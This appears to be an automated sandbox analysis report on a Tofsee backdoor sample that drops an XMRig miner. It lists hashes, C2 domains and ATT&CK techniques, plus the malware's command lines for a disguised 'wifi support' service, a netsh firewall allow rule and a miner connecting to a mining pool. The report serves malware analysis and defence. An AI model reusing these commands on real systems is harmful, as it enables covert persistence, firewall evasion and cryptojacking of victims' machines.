Analysis

  • max time kernel
    141s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    05-06-2022 14:39

General

  • Target

    35956f6f8a89c4214dec4acb5134989ae598b1d258226e2c79abafbc2e9587ce.exe

  • Size

    266KB

  • MD5

    e89afe9d7e708a4e1837cf2759db55b7

  • SHA1

    847e7962e48dd5307ebfd2cd0ad390f881f81135

  • SHA256

    35956f6f8a89c4214dec4acb5134989ae598b1d258226e2c79abafbc2e9587ce

  • SHA512

    d9e080c94b52b3b302b525abe7a2cfa3382ef5800eef1f3e649381bea77a24e0d8e4659c664a15a6f01bd25c45e8a1af15f89c6f5d4a53b26096b3d2084ea4c4

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\35956f6f8a89c4214dec4acb5134989ae598b1d258226e2c79abafbc2e9587ce.exe
    "C:\Users\Admin\AppData\Local\Temp\35956f6f8a89c4214dec4acb5134989ae598b1d258226e2c79abafbc2e9587ce.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4108
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\avfmchov\
      2⤵
        PID:5112
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\hufkjghu.exe" C:\Windows\SysWOW64\avfmchov\
        2⤵
          PID:2072
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create avfmchov binPath= "C:\Windows\SysWOW64\avfmchov\hufkjghu.exe /d\"C:\Users\Admin\AppData\Local\Temp\35956f6f8a89c4214dec4acb5134989ae598b1d258226e2c79abafbc2e9587ce.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3840
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description avfmchov "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4696
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start avfmchov
          2⤵
          • Launches sc.exe
          PID:4768
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2780
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4108 -s 1164
          2⤵
          • Program crash
          PID:536
      • C:\Windows\SysWOW64\avfmchov\hufkjghu.exe
        C:\Windows\SysWOW64\avfmchov\hufkjghu.exe /d"C:\Users\Admin\AppData\Local\Temp\35956f6f8a89c4214dec4acb5134989ae598b1d258226e2c79abafbc2e9587ce.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4932
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:5000
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1400
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4932 -s 508
          2⤵
          • Program crash
          PID:2956
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4108 -ip 4108
        1⤵
          PID:1748
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 4932 -ip 4932
          1⤵
            PID:2976

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\hufkjghu.exe
            Filesize

            12.1MB

            MD5

            ef19e0e48958112697f20bbd271d6290

            SHA1

            816a54ee63544e769c53f6bc1f58c56f3d268dcc

            SHA256

            3127e17fe288987849aba41d8c92436f219ab1d77293a9d818ce34cc3f49a2ec

            SHA512

            82cf66e532ebac9058aae1f9fc4f9aec7db9ba02395a44805498be5af004e286fd723db8ef23a3a689ccfbff8621e94f0ef9e54127ce6cbb395b7d750fdb510a

          • C:\Windows\SysWOW64\avfmchov\hufkjghu.exe
            Filesize

            12.1MB

            MD5

            ef19e0e48958112697f20bbd271d6290

            SHA1

            816a54ee63544e769c53f6bc1f58c56f3d268dcc

            SHA256

            3127e17fe288987849aba41d8c92436f219ab1d77293a9d818ce34cc3f49a2ec

            SHA512

            82cf66e532ebac9058aae1f9fc4f9aec7db9ba02395a44805498be5af004e286fd723db8ef23a3a689ccfbff8621e94f0ef9e54127ce6cbb395b7d750fdb510a

          • memory/1400-168-0x0000000000000000-mapping.dmp
          • memory/1400-169-0x0000000001200000-0x00000000012F1000-memory.dmp
            Filesize

            964KB

          • memory/1400-174-0x0000000001200000-0x00000000012F1000-memory.dmp
            Filesize

            964KB

          • memory/2072-133-0x0000000000000000-mapping.dmp
          • memory/2780-140-0x0000000000000000-mapping.dmp
          • memory/3840-136-0x0000000000000000-mapping.dmp
          • memory/4108-134-0x0000000000400000-0x0000000002DBA000-memory.dmp
            Filesize

            41.7MB

          • memory/4108-141-0x0000000000400000-0x0000000002DBA000-memory.dmp
            Filesize

            41.7MB

          • memory/4108-132-0x0000000003050000-0x0000000003063000-memory.dmp
            Filesize

            76KB

          • memory/4108-131-0x0000000003092000-0x00000000030A2000-memory.dmp
            Filesize

            64KB

          • memory/4696-137-0x0000000000000000-mapping.dmp
          • memory/4768-138-0x0000000000000000-mapping.dmp
          • memory/4932-148-0x0000000000400000-0x0000000002DBA000-memory.dmp
            Filesize

            41.7MB

          • memory/4932-146-0x000000000309E000-0x00000000030AE000-memory.dmp
            Filesize

            64KB

          • memory/5000-142-0x0000000000000000-mapping.dmp
          • memory/5000-149-0x0000000000C60000-0x0000000000C75000-memory.dmp
            Filesize

            84KB

          • memory/5000-150-0x0000000002800000-0x0000000002A0F000-memory.dmp
            Filesize

            2.1MB

          • memory/5000-153-0x0000000001FD0000-0x0000000001FD6000-memory.dmp
            Filesize

            24KB

          • memory/5000-156-0x0000000001FE0000-0x0000000001FF0000-memory.dmp
            Filesize

            64KB

          • memory/5000-159-0x0000000001FF0000-0x0000000001FF5000-memory.dmp
            Filesize

            20KB

          • memory/5000-162-0x0000000007800000-0x0000000007C0B000-memory.dmp
            Filesize

            4.0MB

          • memory/5000-165-0x0000000002DD0000-0x0000000002DD7000-memory.dmp
            Filesize

            28KB

          • memory/5000-147-0x0000000000C60000-0x0000000000C75000-memory.dmp
            Filesize

            84KB

          • memory/5000-143-0x0000000000C60000-0x0000000000C75000-memory.dmp
            Filesize

            84KB

          • memory/5112-130-0x0000000000000000-mapping.dmp